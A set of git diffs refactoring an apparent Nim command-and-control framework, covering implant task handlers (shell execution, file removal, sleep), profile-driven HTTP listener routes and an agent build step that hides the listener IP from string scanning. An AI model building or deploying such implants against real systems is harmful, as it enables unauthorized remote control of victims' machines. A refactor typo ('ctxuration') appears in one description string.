proc executePwd(config: AgentConfig, task: Task): TaskResult = proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Retrieving current working directory." echo fmt" [>] Retrieving current working directory."
@@ -120,7 +120,7 @@ when defined(agent):
# Change working directory # Change working directory
proc executeCd(config: AgentConfig, task: Task): TaskResult = proc executeCd(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments # Parse arguments
let targetDirectory = Bytes.toString(task.args[0].data) let targetDirectory = Bytes.toString(task.args[0].data)
@@ -139,7 +139,7 @@ when defined(agent):
# List files and directories at a specific or at the current path # List files and directories at a specific or at the current path
proc executeDir(config: AgentConfig, task: Task): TaskResult = proc executeDir(ctx: AgentCtx, task: Task): TaskResult =
try: try:
var targetDirectory: string var targetDirectory: string
@@ -289,7 +289,7 @@ when defined(agent):
# Remove file # Remove file
proc executeRm(config: AgentConfig, task: Task): TaskResult = proc executeRm(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments # Parse arguments
let target = Bytes.toString(task.args[0].data) let target = Bytes.toString(task.args[0].data)
@@ -307,7 +307,7 @@ when defined(agent):
# Remove directory # Remove directory
proc executeRmdir(config: AgentConfig, task: Task): TaskResult = proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments # Parse arguments
let target = Bytes.toString(task.args[0].data) let target = Bytes.toString(task.args[0].data)
@@ -324,7 +324,7 @@ when defined(agent):
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
# Move file or directory # Move file or directory
proc executeMove(config: AgentConfig, task: Task): TaskResult = proc executeMove(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments # Parse arguments
let let
@@ -344,7 +344,7 @@ when defined(agent):
# Copy file or directory # Copy file or directory
proc executeCopy(config: AgentConfig, task: Task): TaskResult = proc executeCopy(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments # Parse arguments
let let

View File

@@ -1,7 +1,7 @@
import ../common/[types, utils] import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeShell(config: AgentConfig, task: Task): TaskResult proc executeShell(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Command definition (as seq[Command])
let commands*: seq[Command] = @[ let commands*: seq[Command] = @[
@@ -20,14 +20,14 @@ let commands*: seq[Command] = @[
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):
proc executeShell(config: AgentConfig, task: Task): TaskResult = nil proc executeShell(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent): when defined(agent):
import ../agent/core/taskresult import ../agent/protocol/result
import osproc, strutils, strformat import osproc, strutils, strformat
proc executeShell(config: AgentConfig, task: Task): TaskResult = proc executeShell(ctx: AgentCtx, task: Task): TaskResult =
try: try:
var var
command: string command: string

View File

@@ -1,14 +1,14 @@
import ../common/[types, utils] import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeSleep(config: AgentConfig, task: Task): TaskResult proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Command definition (as seq[Command])
let commands* = @[ let commands* = @[
Command( Command(
name: "sleep", name: "sleep",
commandType: CMD_SLEEP, commandType: CMD_SLEEP,
description: "Update sleep delay configuration.", description: "Update sleep delay ctxuration.",
example: "sleep 5", example: "sleep 5",
arguments: @[ arguments: @[
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true) Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
@@ -19,14 +19,14 @@ let commands* = @[
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):
proc executeSleep(config: AgentConfig, task: Task): TaskResult = nil proc executeSleep(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent): when defined(agent):
import os, strutils, strformat import os, strutils, strformat
import ../agent/core/taskresult import ../agent/protocol/result
proc executeSleep(config: AgentConfig, task: Task): TaskResult = proc executeSleep(ctx: AgentCtx, task: Task): TaskResult =
try: try:
# Parse task parameter # Parse task parameter
@@ -36,8 +36,8 @@ when defined(agent):
sleep(delay * 1000) sleep(delay * 1000)
# Updating sleep in agent config # Updating sleep in agent context
config.sleep = delay ctx.sleep = delay
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
except CatchableError as err: except CatchableError as err:

View File

@@ -19,9 +19,8 @@ proc httpGet*(ctx: Context) {.async.} =
# Check heartbeat metadata placement # Check heartbeat metadata placement
var heartbeat: seq[byte] var heartbeat: seq[byte]
var heartbeatString: string var heartbeatString: string
let heartbeatPlacement = cq.profile.getString("http-get.agent.heartbeat.placement.type")
case heartbeatPlacement: case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
of "header": of "header":
let heartbeatHeader = cq.profile.getString("http-get.agent.heartbeat.placement.name") let heartbeatHeader = cq.profile.getString("http-get.agent.heartbeat.placement.name")
if not ctx.request.hasHeader(heartbeatHeader): if not ctx.request.hasHeader(heartbeatHeader):
@@ -39,14 +38,12 @@ proc httpGet*(ctx: Context) {.async.} =
else: discard else: discard
# Retrieve and apply data transformation to get raw heartbeat packet # Retrieve and apply data transformation to get raw heartbeat packet
let let prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
encoding = cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none") let suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1] let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
case encoding: case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
of "base64": of "base64":
heartbeat = string.toBytes(decode(encHeartbeat)) heartbeat = string.toBytes(decode(encHeartbeat))
of "none": of "none":
@@ -70,18 +67,17 @@ proc httpGet*(ctx: Context) {.async.} =
# Apply data transformation to the response # Apply data transformation to the response
var response: string var response: string
let
encoding = cq.profile.getString("http-get.server.output.encoding.type", default = "none")
prefix = cq.profile.getString("http-get.server.output.prefix")
suffix = cq.profile.getString("http-get.server.output.suffix")
case encoding: case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
of "none": of "none":
response = Bytes.toString(responseBytes) response = Bytes.toString(responseBytes)
of "base64": of "base64":
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe")) response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
else: discard else: discard
let prefix = cq.profile.getString("http-get.server.output.prefix")
let suffix = cq.profile.getString("http-get.server.output.suffix")
# Add headers, as defined in the team server profile # Add headers, as defined in the team server profile
for header, value in cq.profile.getTable("http-get.server.headers"): for header, value in cq.profile.getTable("http-get.server.headers"):
ctx.response.setHeader(header, value.getStr()) ctx.response.setHeader(header, value.getStr())

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64 import terminal, strformat, strutils, tables, times, system, osproc, streams, base64, parsetoml
import ./task import ./task
import ../utils import ../utils
@@ -135,13 +135,14 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
let listener = cq.listeners[listener.toUpperAscii] let listener = cq.listeners[listener.toUpperAscii]
# Create/overwrite nim.cfg file to set agent configuration # Create/overwrite nim.cfg file to set agent configuration
let agentConfigFile = fmt"../src/agent/nim.cfg" let AgentCtxFile = fmt"../src/agent/nim.cfg"
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command # Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let (first, second, third, fourth) = parseOctets(listener.address) let (first, second, third, fourth) = parseOctets(listener.address)
# Covert the servers's public X25519 key to as base64 string # Covert the servers's public X25519 key to as base64 string
let publicKey = encode(cq.keyPair.publicKey) let publicKey = encode(cq.keyPair.publicKey)
let profileString = encode(cq.profile.toTomlString())
# The following shows the format of the agent configuration file that defines compile-time variables # The following shows the format of the agent configuration file that defines compile-time variables
let config = fmt""" let config = fmt"""
@@ -154,8 +155,9 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
-d:ListenerPort={listener.port} -d:ListenerPort={listener.port}
-d:SleepDelay={sleep} -d:SleepDelay={sleep}
-d:ServerPublicKey="{publicKey}" -d:ServerPublicKey="{publicKey}"
-d:ProfileString="{profileString}"
""".replace(" ", "") """.replace(" ", "")
writeFile(agentConfigFile, config) writeFile(AgentCtxFile, config)
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.") cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")

View File

@@ -6,7 +6,7 @@ import sugar
import ../utils import ../utils
import ../api/routes import ../api/routes
import ../db/database import ../db/database
import ../../common/[types, utils] import ../../common/[types, utils, profile]
# Utility functions # Utility functions
proc delListener(cq: Conquest, listenerName: string) = proc delListener(cq: Conquest, listenerName: string) =
@@ -60,13 +60,21 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
# Define API endpoints based on C2 profile # Define API endpoints based on C2 profile
# GET requests # GET requests
for endpoint in cq.profile["http-get"]["endpoints"].getElems(): for endpoint in cq.profile.getArray("http-get.endpoints"):
listener.get(endpoint.getStr(), routes.httpGet) listener.addRoute(endpoint.getStr(), routes.httpGet)
# POST requests # POST requests
for endpoint in cq.profile["http-post"]["endpoints"].getElems(): var postMethods: seq[HttpMethod]
listener.post(endpoint.getStr(), routes.httpPost) for reqMethod in cq.profile.getArray("http-post.request-methods"):
postMethods.add(parseEnum[HttpMethod](reqMethod.getStr()))
# Default method is POST
if postMethods.len == 0:
postMethods = @[HttpPost]
for endpoint in cq.profile.getArray("http-post.endpoints"):
listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)
# Store listener in database # Store listener in database
@@ -104,12 +112,20 @@ proc restartListeners*(cq: Conquest) =
# Define API endpoints based on C2 profile # Define API endpoints based on C2 profile
# TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts # TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts
# GET requests # GET requests
for endpoint in cq.profile["http-get"]["endpoints"].getElems(): for endpoint in cq.profile.getArray("http-get.endpoints"):
listener.get(endpoint.getStr(), routes.httpGet) listener.get(endpoint.getStr(), routes.httpGet)
# POST requests # POST requests
for endpoint in cq.profile["http-post"]["endpoints"].getElems(): var postMethods: seq[HttpMethod]
listener.post(endpoint.getStr(), routes.httpPost) for reqMethod in cq.profile.getArray("http-post.request-methods"):
postMethods.add(parseEnum[HttpMethod](reqMethod.getStr()))
# Default method is POST
if postMethods.len == 0:
postMethods = @[HttpPost]
for endpoint in cq.profile.getArray("http-post.endpoints"):
listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)

View File

@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
import ./[agent, listener] import ./[agent, listener]
import ../[globals, utils] import ../[globals, utils]
import ../db/database import ../db/database
import ../../common/[types, utils, crypto] import ../../common/[types, utils, crypto, profile]
#[ #[
Argument parsing Argument parsing
@@ -135,8 +135,8 @@ proc init*(T: type Conquest, profile: Profile): Conquest =
cq.agents = initTable[string, Agent]() cq.agents = initTable[string, Agent]()
cq.interactAgent = nil cq.interactAgent = nil
cq.keyPair = loadKeyPair(profile["private_key_file"].getStr()) cq.keyPair = loadKeyPair(profile.getString("private_key_file"))
cq.dbPath = profile["database_file"].getStr() cq.dbPath = profile.getString("database_file")
cq.profile = profile cq.profile = profile
return cq return cq